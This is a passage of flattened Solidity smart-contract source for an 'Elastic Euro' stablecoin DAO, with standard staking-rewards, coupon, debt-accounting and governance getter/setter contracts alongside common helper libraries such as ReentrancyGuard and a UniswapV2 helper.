*/ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } } /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @title Require * @author dYdX * * Stringifies parameters to pretty-print revert messages. Costs more gas than regular require() */ library Require { // ============ Constants ============ uint256 constant ASCII_ZERO = 48; // '0' uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10 uint256 constant ASCII_LOWER_EX = 120; // 'x' bytes2 constant COLON = 0x3a20; // ': ' bytes2 constant COMMA = 0x2c20; // ', ' bytes2 constant LPAREN = 0x203c; // ' <' byte constant RPAREN = 0x3e; // '>' uint256 constant FOUR_BIT_MASK = 0xf; // ============ Library Functions ============ function that( bool must, bytes32 file, bytes32 reason ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason) ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } // ============ Private Functions ============ function stringifyTruncated( bytes32 input ) private pure returns (bytes memory) { // put the input bytes into the result bytes memory result = abi.encodePacked(input); // determine the length of the input by finding the location of the last non-zero byte for (uint256 i = 32; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // find the last non-zero byte in order to determine the length if (result[i] != 0) { uint256 length = i + 1; /* solium-disable-next-line security/no-inline-assembly */ assembly { mstore(result, length) // r.length = length; } return result; } } // all bytes are zero return new bytes(0); } function stringify( uint256 input ) private pure returns (bytes memory) { if (input == 0) { return "0"; } // get the final string length uint256 j = input; uint256 length; while (j != 0) { length++; j /= 10; } // allocate the string bytes memory bstr = new bytes(length); // populate the string starting with the least-significant character j = input; for (uint256 i = length; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // take last decimal digit bstr[i] = byte(uint8(ASCII_ZERO + (j % 10))); // remove the last decimal digit j /= 10; } return bstr; } function stringify( address input ) private pure returns (bytes memory) { uint256 z = uint256(input); // addresses are "0x" followed by 20 bytes of data which take up 2 characters each bytes memory result = new bytes(42); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 20; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[41 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[40 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function stringify( bytes32 input ) private pure returns (bytes memory) { uint256 z = uint256(input); // bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each bytes memory result = new bytes(66); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 32; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[65 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[64 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function char( uint256 input ) private pure returns (byte) { // return ASCII digit (0-9) if (input < 10) { return byte(uint8(input + ASCII_ZERO)); } // return ASCII letter (a-f) return byte(uint8(input + ASCII_RELATIVE_ZERO)); } } interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // Inheritance contract StakingRewards is IStakingRewards, ReentrancyGuard { bytes32 private constant FILE = "BootstrapPool"; address private constant UNISWAP_FACTORY = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ address internal dao; IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 30 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardsToken, address _stakingToken ) public { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); dao = msg.sender; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function paid(address account) public view returns (uint256) { return userRewardPerTokenPaid[account]; } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } function usdc() public view returns (address) { return Constants.getUsdcAddress(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyDao updateReward(address(0)) { // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(remaining); uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(remaining), "Provided reward too high"); } emit RewardAdded(reward); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier onlyDao() { Require.that( msg.sender == dao, FILE, "Not dao" ); _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface IUniswapV2ERC20 { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Getters is State { using SafeMath for uint256; using Decimal for Decimal.D256; bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * ERC20 Interface */ function name() public pure returns (string memory) { return "Elastic Euro Stake"; } function symbol() public pure returns (string memory) { return "eEURS"; } function decimals() public pure returns (uint8) { return 18; } function balanceOf(address account) public view returns (uint256) { return _state.accounts[account].balance; } function totalSupply() public view returns (uint256) { return _state.balance.supply; } function allowance(address /* owner */, address /* spender */) external pure returns (uint256) { return 0; } /** * Global */ function euro() public view returns (IEuro) { return _state.provider.euro; } function oracle() public view returns (IOracle) { return _state.provider.oracle; } function eurOracle() public view returns (IOracle) { return _state.provider.eurOracle; } function pool() public view returns (address) { return _state.provider.pool; } function totalBonded() public view returns (uint256) { return _state.balance.bonded; } function totalStaged() public view returns (uint256) { return _state.balance.staged; } function totalDebt() public view returns (uint256) { return _state.balance.debt; } function totalRedeemable() public view returns (uint256) { return _state.balance.redeemable; } function totalCouponUnderlying() public view returns (uint256) { return _state.couponUnderlying; } function totalCoupons() public view returns (uint256) { return _state.balance.coupons; } function totalNet() public view returns (uint256) { if (bootstrappingAt(epoch().sub(1))) { return euro().totalSupply().sub(Constants.getBootstrappingPoolReward()).sub(totalDebt()); } return euro().totalSupply().sub(totalDebt()); } function totalTreasuryCoins(address coin) public view returns (uint256) { return _state.treasuryCoins[coin].balance; } /** * Account */ function balanceOfStaged(address account) public view returns (uint256) { return _state.accounts[account].staged; } function balanceOfBonded(address account) public view returns (uint256) { uint256 _totalSupply = totalSupply(); if (_totalSupply == 0) { return 0; } return totalBonded().mul(balanceOf(account)).div(_totalSupply); } function balanceOfCoupons(address account, uint256 _epoch) public view returns (uint256) { if (outstandingCoupons(_epoch) == 0) { return 0; } return _state.accounts[account].coupons[_epoch]; } function balanceOfCouponUnderlying(address account, uint256 epoch) public view returns (uint256) { return _state.couponUnderlyingByAccount[account][epoch]; } function statusOf(address account) public view returns (Account.Status) { if (_state.accounts[account].lockedUntil > epoch()) { return Account.Status.Locked; } return epoch() >= _state.accounts[account].fluidUntil ? Account.Status.Frozen : Account.Status.Fluid; } function fluidUntil(address account) public view returns (uint256) { return _state.accounts[account].fluidUntil; } function lockedUntil(address account) public view returns (uint256) { return _state.accounts[account].lockedUntil; } function allowanceCoupons(address owner, address spender) public view returns (uint256) { return _state.accounts[owner].couponAllowances[spender]; } /** * Epoch */ function epoch() public view returns (uint256) { return _state.epoch.current; } function epochTime() public view returns (uint256) { return epochTimeWithStrategy(Constants.getEpochStrategy()); } function epochTimeWithStrategy(Constants.EpochStrategy memory strategy) private view returns (uint256) { return blockTimestamp() .sub(strategy.start) .div(strategy.period) .add(strategy.offset); } // Overridable for testing function blockTimestamp() internal view returns (uint256) { return block.timestamp; } function outstandingCoupons(uint256 _epoch) public view returns (uint256) { return _state.epochs[_epoch].coupons.outstanding; } function couponsExpiration(uint256 _epoch) public view returns (uint256) { return _state.epochs[_epoch].coupons.expiration; } function expiringCoupons(uint256 _epoch) public view returns (uint256) { return _state.epochs[_epoch].coupons.expiring.length; } function expiringCouponsAtIndex(uint256 _epoch, uint256 i) public view returns (uint256) { return _state.epochs[_epoch].coupons.expiring[i]; } function totalBondedAt(uint256 _epoch) public view returns (uint256) { return _state.epochs[_epoch].bonded; } function bootstrappingAt(uint256 _epoch) public pure returns (bool) { return _epoch <= Constants.getBootstrappingPeriod(); } function poolBootstrapping() public view returns (bool) { return StakingRewards(pool()).periodFinish() > block.timestamp; } /** * Governance */ function recordedVote(address account, address candidate) public view returns (Candidate.Vote) { return _state.candidates[candidate].votes[account]; } function startFor(address candidate) public view returns (uint256) { return _state.candidates[candidate].start; } function periodFor(address candidate) public view returns (uint256) { return _state.candidates[candidate].period; } function approveFor(address candidate) public view returns (uint256) { return _state.candidates[candidate].approve; } function rejectFor(address candidate) public view returns (uint256) { return _state.candidates[candidate].reject; } function votesFor(address candidate) public view returns (uint256) { return approveFor(candidate).add(rejectFor(candidate)); } function isNominated(address candidate) public view returns (bool) { return _state.candidates[candidate].start > 0; } function isInitialized(address candidate) public view returns (bool) { return _state.candidates[candidate].initialized; } function implementation() public view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Setters is State, Getters { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); /** * ERC20 Interface */ function transfer(address /* recipient */, uint256 /* amount */) external pure returns (bool) { return false; } function approve(address /* spender */, uint256 /* amount */) external pure returns (bool) { return false; } function transferFrom(address /* sender */, address /* recipient */, uint256 /* amount */) external pure returns (bool) { return false; } /** * Global */ function incrementTotalBonded(uint256 amount) internal { _state.balance.bonded = _state.balance.bonded.add(amount); } function decrementTotalBonded(uint256 amount, string memory reason) internal { _state.balance.bonded = _state.balance.bonded.sub(amount, reason); } function incrementTotalDebt(uint256 amount) internal { _state.balance.debt = _state.balance.debt.add(amount); } function decrementTotalDebt(uint256 amount, string memory reason) internal { _state.balance.debt = _state.balance.debt.sub(amount, reason); } function incrementTotalRedeemable(uint256 amount) internal { _state.balance.redeemable = _state.balance.redeemable.add(amount); } function decrementTotalRedeemable(uint256 amount, string memory reason) internal { _state.balance.redeemable = _state.balance.redeemable.sub(amount, reason); } /** * Account */ function incrementBalanceOf(address account, uint256 amount) internal { _state.accounts[account].balance = _state.accounts[account].balance.add(amount); _state.balance.supply = _state.balance.supply.add(amount); emit Transfer(address(0), account, amount); } function decrementBalanceOf(address account, uint256 amount, string memory reason) internal { _state.accounts[account].balance = _state.accounts[account].balance.sub(amount, reason); _state.balance.supply = _state.balance.supply.sub(amount, reason); emit Transfer(account, address(0), amount); } function incrementBalanceOfStaged(address account, uint256 amount) internal { _state.accounts[account].staged = _state.accounts[account].staged.add(amount); _state.balance.staged = _state.balance.staged.add(amount); } function decrementBalanceOfStaged(address account, uint256 amount, string memory reason) internal { _state.accounts[account].staged = _state.accounts[account].staged.sub(amount, reason); _state.balance.staged = _state.balance.staged.sub(amount, reason); } function incrementBalanceOfCoupons(address account, uint256 epoch, uint256 amount) internal { _state.accounts[account].coupons[epoch] = _state.accounts[account].coupons[epoch].add(amount); _state.epochs[epoch].coupons.outstanding = _state.epochs[epoch].coupons.outstanding.add(amount); _state.balance.coupons = _state.balance.coupons.add(amount); } function incrementBalanceOfCouponUnderlying(address account, uint256 epoch, uint256 amount) internal { _state.couponUnderlyingByAccount[account][epoch] = _state.couponUnderlyingByAccount[account][epoch].add(amount); _state.couponUnderlying = _state.couponUnderlying.add(amount); } function decrementBalanceOfCoupons(address account, uint256 epoch, uint256 amount, string memory reason) internal { _state.accounts[account].coupons[epoch] = _state.accounts[account].coupons[epoch].sub(amount, reason); _state.epochs[epoch].coupons.outstanding = _state.epochs[epoch].coupons.outstanding.sub(amount, reason); _state.balance.coupons = _state.balance.coupons.sub(amount, reason); } function decrementBalanceOfCouponUnderlying(address account, uint256 epoch, uint256 amount, string memory reason) internal { _state.couponUnderlyingByAccount[account][epoch] = _state.couponUnderlyingByAccount[account][epoch].sub(amount, reason); _state.couponUnderlying = _state.couponUnderlying.sub(amount, reason); } function unfreeze(address account) internal { _state.accounts[account].fluidUntil = epoch().add(Constants.getDAOExitLockupEpochs()); } function updateAllowanceCoupons(address owner, address spender, uint256 amount) internal { _state.accounts[owner].couponAllowances[spender] = amount; } function decrementAllowanceCoupons(address owner, address spender, uint256 amount, string memory reason) internal { _state.accounts[owner].couponAllowances[spender] = _state.accounts[owner].couponAllowances[spender].sub(amount, reason); } /** * Treasury */ function incrementBalanceOfTreasuryCoin(address coin, uint256 amount) internal { _state.treasuryCoins[coin].balance = _state.treasuryCoins[coin].balance.add(amount); } /** * Epoch */ function incrementEpoch() internal { _state.epoch.current = _state.epoch.current.add(1); } function snapshotTotalBonded() internal { _state.epochs[epoch()].bonded = totalSupply(); } function initializeCouponsExpiration(uint256 epoch, uint256 expiration) internal { _state.epochs[epoch].coupons.expiration = expiration; _state.epochs[expiration].coupons.expiring.push(epoch); } function eliminateOutstandingCoupons(uint256 epoch) internal { uint256 outstandingCouponsForEpoch = outstandingCoupons(epoch); if (outstandingCouponsForEpoch == 0) { return; } _state.balance.coupons = _state.balance.coupons.sub(outstandingCouponsForEpoch); _state.epochs[epoch].coupons.outstanding = 0; } /** * Governance */ function createCandidate(address candidate, uint256 period) internal { _state.candidates[candidate].start = epoch(); _state.candidates[candidate].period = period; } function recordVote(address account, address candidate, Candidate.Vote vote) internal { _state.candidates[candidate].votes[account] = vote; } function incrementApproveFor(address candidate, uint256 amount) internal { _state.candidates[candidate].approve = _state.candidates[candidate].approve.add(amount); } function decrementApproveFor(address candidate, uint256 amount, string memory reason) internal { _state.candidates[candidate].approve = _state.candidates[candidate].approve.sub(amount, reason); } function incrementRejectFor(address candidate, uint256 amount) internal { _state.candidates[candidate].reject = _state.candidates[candidate].reject.add(amount); } function decrementRejectFor(address candidate, uint256 amount, string memory reason) internal { _state.candidates[candidate].reject = _state.candidates[candidate].reject.sub(amount, reason); } function placeLock(address account, address candidate) internal { uint256 currentLock = _state.accounts[account].lockedUntil; uint256 newLock = startFor(candidate).add(periodFor(candidate)); if (newLock > currentLock) { _state.accounts[account].lockedUntil = newLock; } } function initialized(address candidate) internal { _state.candidates[candidate].initialized = true; } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Comptroller is Setters { using SafeMath for uint256; bytes32 private constant FILE = "Comptroller"; function mintToAccount(address account, uint256 amount) internal { euro().mint(account, amount); if (!bootstrappingAt(epoch())) { increaseDebt(amount); } balanceCheck(); } function burnFromAccount(address account, uint256 amount) internal { euro().transferFrom(account, address(this), amount); euro().burn(amount); decrementTotalDebt(amount, "Comptroller: not enough outstanding debt"); balanceCheck(); } function redeemToAccount(address account, uint256 amount, uint256 couponAmount) internal { euro().transfer(account, amount); if (couponAmount != 0) { euro().transfer(account, couponAmount); decrementTotalRedeemable(couponAmount, "Comptroller: not enough redeemable balance"); } balanceCheck(); } function burnRedeemable(uint256 amount) internal { euro().burn(amount); decrementTotalRedeemable(amount, "Comptroller: not enough redeemable balance"); balanceCheck(); } function increaseDebt(uint256 amount) internal returns (uint256) { incrementTotalDebt(amount); uint256 lessDebt = resetDebt(Constants.getDebtRatioCap()); balanceCheck(); return lessDebt > amount ? 0 : amount.sub(lessDebt); } function decreaseDebt(uint256 amount) internal { decrementTotalDebt(amount, "Comptroller: not enough debt"); balanceCheck(); } function increaseSupply(uint256 newSupply) internal returns (uint256, uint256) { // 0-a. Pay out to Pool uint256 poolReward; if (poolBootstrapping()) { poolReward = newSupply.mul(Constants.getOraclePoolRatio()).div(100); mintToPool(poolReward); } // 0-b. Pay out to Treasury uint256 treasuryReward = newSupply.mul(Constants.getTreasuryRatio()).div(10000); mintToTreasury(treasuryReward); uint256 rewards = poolReward.add(treasuryReward); newSupply = newSupply > rewards ? newSupply.sub(rewards) : 0; // 1. True up redeemable pool uint256 newRedeemable = 0; uint256 totalRedeemable = totalRedeemable(); uint256 totalCoupons = totalCoupons(); if (totalRedeemable < totalCoupons) { newRedeemable = totalCoupons.sub(totalRedeemable); newRedeemable = newRedeemable > newSupply ? newSupply : newRedeemable; mintToRedeemable(newRedeemable); newSupply = newSupply.sub(newRedeemable); } // 2. Payout to DAO if (totalBonded() == 0) { newSupply = 0; } if (newSupply > 0) { mintToDAO(newSupply); } balanceCheck(); return (newRedeemable, newSupply.add(rewards)); } function resetDebt(Decimal.D256 memory targetDebtRatio) internal returns (uint256) { uint256 targetDebt = targetDebtRatio.mul(euro().totalSupply()).asUint256(); uint256 currentDebt = totalDebt(); if (currentDebt > targetDebt) { uint256 lessDebt = currentDebt.sub(targetDebt); decreaseDebt(lessDebt); return lessDebt; } return 0; } function balanceCheck() private view { Require.that( euro().balanceOf(address(this)) >= totalBonded().add(totalStaged()).add(totalRedeemable()), FILE, "Inconsistent balances" ); } function mintToDAO(uint256 amount) private { if (amount > 0) { euro().mint(address(this), amount); incrementTotalBonded(amount); } } function mintToPool(uint256 amount) private { if (amount > 0) { euro().mint(pool(), amount); StakingRewards(pool()).notifyRewardAmount(amount); } } function mintToTreasury(uint256 amount) private { if (amount > 0) { euro().mint(address(this), amount); incrementBalanceOfTreasuryCoin(address(euro()), amount); } } function mintToRedeemable(uint256 amount) private { euro().mint(address(this), amount); incrementTotalRedeemable(amount); balanceCheck(); } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Market is Comptroller, Curve { using SafeMath for uint256; bytes32 private constant FILE = "Market"; event CouponExpiration(uint256 indexed epoch, uint256 couponsExpired, uint256 lessRedeemable, uint256 lessDebt, uint256 newBonded); event CouponPurchase(address indexed account, uint256 indexed epoch, uint256 euroAmount, uint256 couponAmount); event CouponRedemption(address indexed account, uint256 indexed epoch, uint256 amount, uint256 couponAmount); event CouponBurn(address indexed account, uint256 indexed epoch, uint256 couponAmount); event CouponTransfer(address indexed from, address indexed to, uint256 indexed epoch, uint256 value); event CouponApproval(address indexed owner, address indexed spender, uint256 value); function step() internal { // Expire prior coupons for (uint256 i = 0; i < expiringCoupons(epoch()); i++) { expireCouponsForEpoch(expiringCouponsAtIndex(epoch(), i)); } // Record expiry for current epoch's coupons uint256 expirationEpoch = epoch().add(Constants.getCouponExpiration()); initializeCouponsExpiration(epoch(), expirationEpoch); } function expireCouponsForEpoch(uint256 epoch) private { uint256 couponsForEpoch = outstandingCoupons(epoch); (uint256 lessRedeemable, uint256 newBonded) = (0, 0); eliminateOutstandingCoupons(epoch); uint256 totalRedeemable = totalRedeemable(); uint256 totalCoupons = totalCoupons(); if (totalRedeemable > totalCoupons) { lessRedeemable = totalRedeemable.sub(totalCoupons); burnRedeemable(lessRedeemable); (, newBonded) = increaseSupply(lessRedeemable); } emit CouponExpiration(epoch, couponsForEpoch, lessRedeemable, 0, newBonded); } function couponPremium(uint256 amount) public view returns (uint256) { return calculateCouponPremium(euro().totalSupply(), totalDebt(), amount); } function couponRedemptionPenalty(uint256 couponEpoch, uint256 couponAmount) public view returns (uint256) { uint timeIntoEpoch = block.timestamp % Constants.getEpochStrategy().period; uint couponAge = epoch() - couponEpoch; uint couponEpochDecay = Constants.getCouponRedemptionPenaltyDecay() * (Constants.getCouponExpiration() - couponAge) / Constants.getCouponExpiration(); if (timeIntoEpoch > couponEpochDecay) { return 0; } Decimal.D256 memory couponEpochInitialPenalty = Constants.getInitialCouponRedemptionPenalty().div(Decimal.D256({value : 